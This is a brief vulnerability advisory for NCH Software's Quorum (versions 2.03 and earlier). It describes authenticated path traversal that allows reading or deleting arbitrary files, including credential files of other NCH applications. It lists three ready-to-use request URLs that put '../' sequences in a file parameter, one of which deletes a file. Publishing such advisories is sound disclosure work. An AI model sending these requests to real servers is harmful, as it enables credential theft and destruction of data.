Description

An authenticated user can view or delete any file on the remote system via path traversals in separate functions. This is dependent on the running context of the application. This can also be used to view credential files of other NCH applications often stored in `\ProgramData\NCH Software\` .

Vulnerability type

Directory Traversal & Arbitrary File Deletion

Vendor

NCH Software

Affected versions

Quorum 2.03 and earlier

Attack type

Remote

Authenticated

Yes

Attack vectors

`HOST/logprop?file=/../../../../../../Windows/win.ini` (read)

`HOST/documentprop?file=/../../../../../../Windows/win.ini&conference=<conferenceID>` (read)

`HOST/documentdelete?file=/../../../../../../Windows/win.ini&conference=<conferenceID>` (delete)

Link

https://www.nch.com.au/conference/index.html